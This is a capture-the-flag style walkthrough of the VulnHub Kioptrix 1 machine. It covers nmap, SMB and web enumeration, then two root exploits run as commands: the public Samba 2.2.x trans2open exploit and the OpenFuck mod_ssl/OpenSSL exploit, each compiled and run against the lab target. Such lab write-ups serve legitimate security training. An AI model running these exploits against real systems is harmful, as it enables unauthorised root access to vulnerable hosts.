# Kioptrix 1 ~ VulnHub

* * *

Enumeration
-----------

### NMAP

![Kioptrix 1 ~ VulnHub](https://cdn.hashnode.com/res/hashnode/image/upload/v1680985170999/1e6aee32-d7f7-4707-965e-9d6247b3dec3.jpeg)

First, I went ahead and launched a port scan against the target machine.

    nmap -Pn -A -sV -p- kioptrix1.vhub

    PORT     STATE SERVICE     REASON         VERSION
    22/tcp   open  ssh         syn-ack ttl 64 OpenSSH 2.9p2 (protocol 1.99)
    | ssh-hostkey: 
    |   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
    |_sshv1: Server supports SSHv1
    80/tcp   open  http        syn-ack ttl 64 Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
    | http-methods: 
    |   Supported Methods: GET HEAD OPTIONS TRACE
    |_  Potentially risky methods: TRACE
    |_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
    |_http-title: Test Page for the Apache Web Server on Red Hat Linux
    111/tcp  open  rpcbind     syn-ack ttl 64 2 (RPC #100000)
    | rpcinfo: 
    |   program version    port/proto  service
    |   100000  2            111/tcp   rpcbind
    |   100000  2            111/udp   rpcbind
    |   100024  1           1024/tcp   status
    |_  100024  1           1024/udp   status
    139/tcp  open  netbios-ssn syn-ack ttl 64 Samba smbd (workgroup: MYGROUP)
    443/tcp  open  ssl/https   syn-ack ttl 64 Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
    | http-methods: 
    |_  Supported Methods: GET HEAD POST
    |_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
    |_http-title: 400 Bad Request
    1024/tcp open  status      syn-ack ttl 64 1 (RPC #100024)

Fine tuned scan results

### SMB

    smbclient -L \\\\$target

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-27.png)

Using [this](/smb-manually-enumerating/) method, I was able to retrieve the samba server version.

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-29.png)

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-28.png)

> Unix.Samba 2.2.1a MYGROUP

### WEB - 80

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-26.png)

    /cgi-bin/ (Status: 403) [Size: 272]
    /cgi-bin/.html (Status: 403) [Size: 277]
    /index.html (Status: 200) [Size: 2890]
    /index.html (Status: 200) [Size: 2890]
    /manual (Status: 301) [Size: 294]
    /mrtg (Status: 301) [Size: 292]
    /test.php (Status: 200) [Size: 27]
    /usage (Status: 301) [Size: 293]
    /~operator (Status: 403) [Size: 273]
    /~root (Status: 403) [Size: 269]
    

`/test.php`

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-36.png)

### WEB - 443

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-35.png)

Exploitation
------------

### SMB

Since the samba version being used by the target was uncovered, I decided on look at exploit db for any public exploits that might be available.

    searchsploit samba 2.2

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-30.png)

I discovered an RCE exploit that supposedly worked on any version below `Samba 2.2.8`. This fit our target perfectly.

    searchsploit -m multiple/remote/10.c

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-31.png)

I then proceeded to compile the exploit before executing it.

    gcc -o exploity 10.c

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-32.png)

Usage:

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-33.png)

Since we uncovered that our target was running Linux|Red Hat during our enumeration phase, I set `-b` as linux and fired it at the target.

    ./exploity -b 0 $target

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-34.png)

And I was in the machine as root!

### OpenSSL/0.9.6b

During the enumeration phase, I also noticed that the OpenSSL version was wayyy too old. A quick look at exploit db revealed multiple exploits that were targeted at that version.

    searchsploit openssl

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-37.png)

I pulled the exploit down and realized that there were some edits that I had to make to the exploit.

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-38.png)

http://paulsec.github.io/blog/2014/04/14/updating-openfuck-exploit/

After editing the exploit, I compiled and ran it as follows. Also, do remember to install `libssl-dev` if you dont already have it.

    gcc -o OpenFuck OpenFuck.c -lcrypto

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-39.png)

Next I just had to select the correct offset for my target and I was good to go.

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-40.png)

Apache and OS version was uncovered during the enumeration stages.

    443/tcp  open  ssl/https   syn-ack ttl 64 Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
    

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-41.png)

    ./openfuck 0x6b 192.168.0.176 443 -c 50

![Kioptrix 1 ~ VulnHub](/content/images/2021/04/image-42.png)

And I was root...again!

* * *

Those were the two ways I was able to break this box!

\-Nee